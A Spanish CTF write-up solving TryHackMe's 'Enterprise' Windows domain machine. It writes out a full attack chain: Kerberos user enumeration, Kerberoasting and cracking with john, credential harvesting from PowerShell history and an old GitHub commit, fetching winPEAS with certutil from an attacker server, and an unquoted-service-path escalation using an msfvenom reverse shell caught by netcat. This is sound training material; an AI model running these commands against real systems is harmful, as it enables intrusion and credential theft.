Enterprise

¡Hola!

En este writeup vamos a resolver la máquina Enterprise de TryHackMe, una máquina de nivel de dificultad difícil. La podéis encontrar en el siguiente enlace:

Reconocimiento

Lo primero que vamos a lanzar para comprobar si la máquina está activa y la tenemos a nuestro alcance es un ping:

ping -c 1 <IP>

En base al TTL (127) podemos deducir que se trata de una máquina con Sistema Operativo Windows.

Como siempre, vamos a empezar la fase de enumeración lanzando un nmap, en esta ocasión también voy a exportar la captura de nmap a un archivo para tener los datos disponibles en caso de que más adelante fueran necesarios:

nmap -sC -sV -p- <IP> -oN <Nombre_Archivo>

Con el reporte de nmap obtenemos la siguiente información:

He destacado la información más útil para nuestro pentest.

Vamos a añadir esos nuevos dominios a nuestro /etc/hosts:

Si exploramos intentamos explorar las webs alojadas bajo el servicio http en el puerto 80 no encontramos nada de interés:

Enumeración de usuarios

Vamos a utilizar la herramienta Kerbrute junto a un diccionario de usuarios incluido en SecLists para enumerar usuarios válidos del dominio a través de la autenticación Kerberos:

kerbrute_linux_amd64 userenum --dc <IP> -d LAB-ENTERPRISE /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt

Cuando estemos satisfechos con la captura de usuarios podemos parar la ejecución de Kerbrute ya que llegará un momento en el que se empezarán a repetir en diferentes variantes.

Obtenemos los siguientes resultados:

Con el objetivo de optimizar nuestro trabajo vamos a crear un archivo con la información que acabamos de obtener:

Y para crear rápidamente un diccionario con nombres válidos utilizando awk y tr podemos utilizar el siguiente comando para extraer solo los nombres de usuario:

cat <Nombre_Archivo> | awk '{print $7}' | awk -F "@" '{print $1}' | tr "[A-Z]" "[a-z]" | sort -u > <Diccionario_Enterprise>

Debería quedarnos algo como esto:

Ahora vamos a utilizar la herramienta GetNPUsers.py incluida en el pack Impacket con el objetivo de comprobar si alguno de los usuarios que hemos enumerado es vulnerable a ASPRoast:

impacket-GetNPUsers LAB.ENTERPRISE.THM/ -usersfile <Ruta_Diccionario_Usuarios> -format hashcat -outputfile hashes.asreproast

¡Negativo! Ningún usuario es vulnerable.

Enumeración de recursos

Vamos a empezar a enumerar recursos compartidos utilizando smbclient como invitado:

smbclient -U 'guest%' -L //<IP>

De los recursos compartidos que podemos ver, el directorio Docs y Users son los que más destacan.

Vamos a listar el contenido de la carpeta Docs:

smbclient //<IP>/Docs

Esta carpeta contiene dos archivos que parecen contener credenciales. Dado que están encriptados con RSA desistí de intentar crackearlo ya que mi experiencia me dice que va a ser una pérdida de tiempo.

Listando el contenido del directorio Users obtenemos algo más de movilidad por el sistema:

smbclient //<IP>/Users

De todas las rutas disponibles el único recurso interesante al que podemos acceder es el histórico de comandos de Powershell que se encuentra en la ruta: \LAB-ADMIN\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\Consolehost_hisory.txt

Con get nos traemos el archivo a nuestra máquina de atacante y listamos su contenido:

Parece que hemos encontrado unas credenciales, vamos a guardarlas por si las necesitamos más adelante.

Vamos a seguir investigando los servicios reportados por nmap. Recordemos que entre todos los puertos abiertos teníamos un servicio http corriendo en el puerto 7990. Vamos a investigar:

Tenemos un panel de inicio de sesión pero parece que no está operativo, sin embargo, en la parte superior tenemos un mensaje que podría ser una pista: Reminder to all Enterprise-THM Employees: We are moving to Github!

Vamos a utilizar un pequeño Google Dork para investigar entradas relacionadas con el término "Enterprise-THM" en Github:

site:github.com "Enterprise-THM"

Encontramos un repositorio en Github que ha sido actualizado por el propio creador de la máquina:

Exploramos un poco el repositorio y encontramos un miembro de nombre: Nik-enterprise-dev

¡Un momento! ¿Nik no era uno de los usuarios que enumeramos anteriormente...? Parece que vamos por buen camino.

Seguimos con nuestra investigación y parece ser que el único repositorio de este usuario ha sido actualizado. Vamos a echar un vistazo a las dos versiones existentes:

¡Voila! ¡Hay la versión anterior parece contener credenciales del usuario Nik!

Explotación

Vamos a probar nuestras nuevas credenciales para acceder al servicio RDP que está activo en la máquina y...

xfreerdp /u:nik /p:<Contraseña> /v:<IP>

Parece que el usuario no tiene acceso :(

Tal vez ahora prescindiendo de un diccionario de usuarios podamos enumerar la lista completa de usuarios del dominio y además enumerar los grupos.

Vamos a probar a iniciar sesión con rpcclient con estas nuevas credenciales:

rpcclient -U nik <IP>
enumdomusers
enumdomgroups

Ahora que hemos encontrado usuarios nuevos vamos a añadirlos al diccionario de usuarios que creamos y...

Mismo resultado, ningún usuario es vulnerable a ASPRoast :(

Ahora voy a comprobar si algún usuario tiene habilitado el SPN. Esto puede provocar que podamos solicitar la clave TGS ya que somos parte del dominio con las credenciales del usuario nik.

impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:<Contraseña>

Como podemos ver el único usuario que tiene el SPN habilitado es el usuario bitbucket. Vamos a solicitar la clave TGS que esta está encriptada con el hash del servicio, si podemos crackear ese hash obtendremos la contraseña de usuario:

impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:<Contraseña> -request

Y ya tenemos el hash listo para crackear. Vamos a guardar este hash en un fichero y vamos a utilizar john junto al diccionario rockyou para crackear la contraseña:

john --wordlist=/usr/share/wordlists/rockyou.txt <Archivo_Hash>

Y obtenemos la contraseña del usuario bitbucket.

Probemos con estas nuevas credenciales a acceder al servicio RDP a ver si esta vez hay suerte:

xfreerdp /u:bitbucket /p:<Contraseña> /v:<IP> /dynamic-resolution

¡Y por fin ganamos acceso al equipo víctima a través de RDP!

Escalada de privilegios

Vamos a utilizar winPEAS para analizar posibles vulnerabilidades que nos permitan escalar privilegios.

Para subir nuestro ejecutable de winPEAS a la máquina víctima tenemos que iniciar un servicio http con Python:

python3 -m http.server

Desde la máquina víctima nos traemos el ejecutable desde Powershell con certutil:

certutil.exe -urlcache -f http://<IP_Atacante>:<Puerto>/winPEASx64.exe winPEASx64.exe

Al ejecutar winPEAS en este equipo la consola de Powershell no interpreta los colores, encontré una solución añadiendo una entrada al registro pero necesitas privilegios de administrador para hacerlo así que en este caso carece de sentido.

De todo el reporte de winPEAS vamos a prestar atención a la siguiente línea:

Encontramos una posible vulnerabilidad tipo unquoted service path. Si la ruta completa de un servicio no está entre comillas esto provoca que para ejecutarse dicho servicio el sistema operativo ejecute cada línea independiente tras encontrar cada espacio, para ejemplificarlo de una forma más visual, en este caso se ejecutarían las siguientes rutas inválidas:

C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Zero.exe
C:\Program Files (x86)\Zero Tier\Zero.exe
C:\Program Files (x86)\Zero Tier\Zero Tier.exe
C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier.exe
C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe # Y finalmente se ejecutaría la ruta correcta

Esto quiere decir que si logramos crear un ejecutable malicioso en una de las rutas inválidas se ejecutaría cuando el SO buscara el servicio.

Creando un simple archivo de texto desde el bloc de notas en la carpeta C:\Program Files (x86)\Zero Tier\ comprobamos que tenemos la posibilidad de crear ficheros:

Es hora crear una reverse shell con msfvenom que nos facilite la escalada de privilegios, pero antes comprobemos si tenemos la capacidad de parar e iniciar servicios en el sistema.

Comandos útiles para manipular servicios en Powershell:

Stop-Service zerotieroneservice # Detiene el servicio
Get-Service | Where-Object {$_.Status -eq "Running"} # Lista los servicios que corren actualmente en el sistema
Start-Service zerotieroneservice # Inicia el servicio

Detenemos el servicio zerotieroneservice con el comando Stop-Service.

Nos dirigimos a nuestra máquina de atacante para crear nuestra reverse shell con msfvenom ejecutando el siguiente comando:

msfvenom -p windows/shell_reverse_tcp LHOST=<IP_Atacante> LPORT=443 -f exe -o ./Zero.exe

Y ya tenemos lista nuestra reverse shell de usuario de altos privilegios para subirla al directorio C:\Program Files (x86)\Zero Tier\

Más información sobre esta vulnerabilidad aquí

Ponemos netcat en escucha por el puerto 443 como hemos definido en nuestra reverse shell:

nc -lvp 443

Iniciamos el servicio zerotieroneservice con Start-Service y...

¡Bam! Ya tenemos consola como usuario de altos privilegios en la máquina víctima y podemos visualizar la flag de root.

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:

📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm

¡Gracias por llegar hasta aquí!

Última actualización